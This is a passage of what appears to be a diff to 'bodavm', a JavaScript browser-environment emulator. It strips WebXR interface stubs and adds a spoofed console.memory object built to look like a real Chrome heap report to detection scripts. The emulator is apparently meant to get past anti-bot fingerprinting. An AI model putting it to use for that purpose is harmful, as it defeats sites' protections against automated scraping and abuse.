-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDOMOverlayState'], "XRDOMOverlayState"); -bodavm.toolsFunc.defineProperty('XRDOMOverlayState', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDOMOverlayState'].prototype, "XRDOMOverlayState", "type_get", arguments)}, set:undefined},'prototype'); + bodavm.toolsFunc.defineProperty('MemoryInfo', "usedJSHeapSize", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "usedJSHeapSize", "usedJSHeapSize_get", arguments); + }, + set: undefined + }, 'prototype'); + bodavm.toolsFunc.defineProperty('MemoryInfo', "jsHeapSizeLimit", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "jsHeapSizeLimit", "jsHeapSizeLimit_get", arguments); + }, + set: undefined + }, 'prototype'); -// XRFrame对象 -bodavm.memory.globalobj['XRFrame'] = function XRFrame(){if (!(this instanceof XRFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRFrame'], "XRFrame"); -bodavm.toolsFunc.defineProperty('XRFrame', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "session_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getPose", {configurable:true, enumerable:true, writable:true, value:function getPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getViewerPose", {configurable:true, enumerable:true, writable:true, value:function getViewerPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getViewerPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "trackedAnchors", {configurable:true, enumerable:true, get:function trackedAnchors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "trackedAnchors_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "createAnchor", {configurable:true, enumerable:true, writable:true, value:function createAnchor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "createAnchor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getDepthInformation", {configurable:true, enumerable:true, writable:true, value:function getDepthInformation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getDepthInformation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResults", {configurable:true, enumerable:true, writable:true, value:function getHitTestResults (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResults", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResultsForTransientInput", {configurable:true, enumerable:true, writable:true, value:function getHitTestResultsForTransientInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResultsForTransientInput", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getLightEstimate", {configurable:true, enumerable:true, writable:true, value:function getLightEstimate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getLightEstimate", arguments)}},'prototype'); +delete bodavm.memory.globalobj['MemoryInfo'].prototype.constructor +Object.defineProperty(console,'memory',{ + get:function(){ + debugger + console.log(`console.memory get 检测 !!!`) + res={ + _boisinit:true, + jsHeapSizeLimit:2190000000, + totalJSHeapSize:15200000, + usedJSHeapSize:13400000, -// XRHitTestResult对象 -bodavm.memory.globalobj['XRHitTestResult'] = function XRHitTestResult(){if (!(this instanceof XRHitTestResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestResult'], "XRHitTestResult"); -bodavm.toolsFunc.defineProperty('XRHitTestResult', "getPose", {configurable:true, enumerable:true, writable:true, value:function getPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "getPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRHitTestResult', "createAnchor", {configurable:true, enumerable:true, writable:true, value:function createAnchor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "createAnchor", arguments)}},'prototype'); + } + res.__proto__=bodavm.memory.globalobj['MemoryInfo'].prototype + return res + }, + set:function(){ + console.log_copy('console memory set 检测') + }, + configurable: true, + enumerable: true +}) -// XRHitTestSource对象 -bodavm.memory.globalobj['XRHitTestSource'] = function XRHitTestSource(){if (!(this instanceof XRHitTestSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestSource'], "XRHitTestSource"); -bodavm.toolsFunc.defineProperty('XRHitTestSource', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestSource'].prototype, "XRHitTestSource", "cancel", arguments)}},'prototype'); +bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor(console,'memory').get,'') +bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor(console,'memory').set,'') +// console.memory={} +// console.memory.__proto__=bodavm.memory.globalobj['MemoryInfo'].prototype -// XRInputSource对象 -bodavm.memory.globalobj['XRInputSource'] = function XRInputSource(){if (!(this instanceof XRInputSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSource'], "XRInputSource"); -bodavm.toolsFunc.defineProperty('XRInputSource', "handedness", {configurable:true, enumerable:true, get:function handedness (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "handedness_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "targetRayMode", {configurable:true, enumerable:true, get:function targetRayMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRayMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "targetRaySpace", {configurable:true, enumerable:true, get:function targetRaySpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRaySpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "gripSpace", {configurable:true, enumerable:true, get:function gripSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gripSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "gamepad", {configurable:true, enumerable:true, get:function gamepad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gamepad_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "profiles", {configurable:true, enumerable:true, get:function profiles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "profiles_get", arguments)}, set:undefined},'prototype'); +// Object.defineProperty(console.memory.__proto__,Symbol.toStringTag,{ +// value: 'MemoryInfo', +// configurable: true, +// writable: false, +// enumerable: false +// }) -// XRInputSourceArray对象 -bodavm.memory.globalobj['XRInputSourceArray'] = function XRInputSourceArray(){if (!(this instanceof XRInputSourceArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceArray'], "XRInputSourceArray"); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "length_get", arguments)}, set:undefined},'prototype'); - -// XRInputSourceEvent对象 -bodavm.memory.globalobj['XRInputSourceEvent'] = function XRInputSourceEvent(){if (!(this instanceof XRInputSourceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourceEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceEvent'], "XRInputSourceEvent"); -bodavm.memory.globalobj['XRInputSourceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRInputSourceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "frame", {configurable:true, enumerable:true, get:function frame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "frame_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "inputSource", {configurable:true, enumerable:true, get:function inputSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "inputSource_get", arguments)}, set:undefined},'prototype'); - -// XRInputSourcesChangeEvent对象 -bodavm.memory.globalobj['XRInputSourcesChangeEvent'] = function XRInputSourcesChangeEvent(){if (!(this instanceof XRInputSourcesChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourcesChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourcesChangeEvent'], "XRInputSourcesChangeEvent"); -bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRInputSourcesChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "session_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "added", {configurable:true, enumerable:true, get:function added (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "added_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "removed", {configurable:true, enumerable:true, get:function removed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "removed_get", arguments)}, set:undefined},'prototype'); - -// XRLayer对象 -bodavm.memory.globalobj['XRLayer'] = function XRLayer(){if (!(this instanceof XRLayer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLayer'], "XRLayer"); -bodavm.memory.globalobj['XRLayer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRLayer'].__proto__=bodavm.memory.globalobj['EventTarget']; - -// XRLightEstimate对象 -bodavm.memory.globalobj['XRLightEstimate'] = function XRLightEstimate(){if (!(this instanceof XRLightEstimate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightEstimate'], "XRLightEstimate"); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "sphericalHarmonicsCoefficients", {configurable:true, enumerable:true, get:function sphericalHarmonicsCoefficients (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "sphericalHarmonicsCoefficients_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightDirection", {configurable:true, enumerable:true, get:function primaryLightDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightDirection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightIntensity", {configurable:true, enumerable:true, get:function primaryLightIntensity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightIntensity_get", arguments)}, set:undefined},'prototype'); - -// XRLightProbe对象 -bodavm.memory.globalobj['XRLightProbe'] = function XRLightProbe(){if (!(this instanceof XRLightProbe)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightProbe'], "XRLightProbe"); -bodavm.memory.globalobj['XRLightProbe'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRLightProbe'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRLightProbe', "probeSpace", {configurable:true, enumerable:true, get:function probeSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "probeSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightProbe', "onreflectionchange", {configurable:true, enumerable:true, get:function onreflectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_get", arguments)}, set:function onreflectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_set", arguments)}},'prototype'); - -// XRPose对象 -bodavm.memory.globalobj['XRPose'] = function XRPose(){if (!(this instanceof XRPose)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRPose'], "XRPose"); -bodavm.toolsFunc.defineProperty('XRPose', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRPose', "emulatedPosition", {configurable:true, enumerable:true, get:function emulatedPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "emulatedPosition_get", arguments)}, set:undefined},'prototype'); - -// XRRay对象 -bodavm.memory.globalobj['XRRay'] = function XRRay(){this._boarg= new bodaobj.window.XRRay();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRay'], "XRRay"); -bodavm.toolsFunc.defineProperty('XRRay', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRay', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "direction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRay', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "matrix_get", arguments)}, set:undefined},'prototype'); - -// XRReferenceSpaceEvent对象 -bodavm.memory.globalobj['XRReferenceSpaceEvent'] = function XRReferenceSpaceEvent(){if (!(this instanceof XRReferenceSpaceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRReferenceSpaceEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpaceEvent'], "XRReferenceSpaceEvent"); -bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRReferenceSpaceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "referenceSpace", {configurable:true, enumerable:true, get:function referenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "referenceSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "transform_get", arguments)}, set:undefined},'prototype'); - -// XRRenderState对象 -bodavm.memory.globalobj['XRRenderState'] = function XRRenderState(){if (!(this instanceof XRRenderState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRenderState'], "XRRenderState"); -bodavm.toolsFunc.defineProperty('XRRenderState', "depthNear", {configurable:true, enumerable:true, get:function depthNear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthNear_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "depthFar", {configurable:true, enumerable:true, get:function depthFar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthFar_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "inlineVerticalFieldOfView", {configurable:true, enumerable:true, get:function inlineVerticalFieldOfView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "inlineVerticalFieldOfView_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "baseLayer", {configurable:true, enumerable:true, get:function baseLayer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "baseLayer_get", arguments)}, set:undefined},'prototype'); - -// XRRigidTransform对象 -bodavm.memory.globalobj['XRRigidTransform'] = function XRRigidTransform(){this._boarg= new bodaobj.window.XRRigidTransform();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRigidTransform'], "XRRigidTransform"); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "position_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "orientation", {configurable:true, enumerable:true, get:function orientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "orientation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "inverse", {configurable:true, enumerable:true, get:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "inverse_get", arguments)}, set:undefined},'prototype'); - -// XRSession对象 -bodavm.memory.globalobj['XRSession'] = function XRSession(){if (!(this instanceof XRSession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSession'], "XRSession"); -bodavm.memory.globalobj['XRSession'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRSession'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRSession', "environmentBlendMode", {configurable:true, enumerable:true, get:function environmentBlendMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "environmentBlendMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "interactionMode", {configurable:true, enumerable:true, get:function interactionMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "interactionMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "visibilityState", {configurable:true, enumerable:true, get:function visibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "visibilityState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "renderState", {configurable:true, enumerable:true, get:function renderState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "renderState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "inputSources", {configurable:true, enumerable:true, get:function inputSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "inputSources_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "domOverlayState", {configurable:true, enumerable:true, get:function domOverlayState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "domOverlayState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "preferredReflectionFormat", {configurable:true, enumerable:true, get:function preferredReflectionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "preferredReflectionFormat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "enabledFeatures", {configurable:true, enumerable:true, get:function enabledFeatures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "enabledFeatures_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "oninputsourceschange", {configurable:true, enumerable:true, get:function oninputsourceschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_get", arguments)}, set:function oninputsourceschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselectend", {configurable:true, enumerable:true, get:function onselectend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_get", arguments)}, set:function onselectend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onvisibilitychange", {configurable:true, enumerable:true, get:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_get", arguments)}, set:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueeze", {configurable:true, enumerable:true, get:function onsqueeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_get", arguments)}, set:function onsqueeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueezestart", {configurable:true, enumerable:true, get:function onsqueezestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_get", arguments)}, set:function onsqueezestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueezeend", {configurable:true, enumerable:true, get:function onsqueezeend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_get", arguments)}, set:function onsqueezeend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "depthUsage", {configurable:true, enumerable:true, get:function depthUsage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthUsage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "depthDataFormat", {configurable:true, enumerable:true, get:function depthDataFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthDataFormat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "cancelAnimationFrame", {configurable:true, enumerable:true, writable:true, value:function cancelAnimationFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "cancelAnimationFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "end", {configurable:true, enumerable:true, writable:true, value:function end (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "end", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestAnimationFrame", {configurable:true, enumerable:true, writable:true, value:function requestAnimationFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestAnimationFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSource", {configurable:true, enumerable:true, writable:true, value:function requestHitTestSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSourceForTransientInput", {configurable:true, enumerable:true, writable:true, value:function requestHitTestSourceForTransientInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSourceForTransientInput", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestLightProbe", {configurable:true, enumerable:true, writable:true, value:function requestLightProbe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, 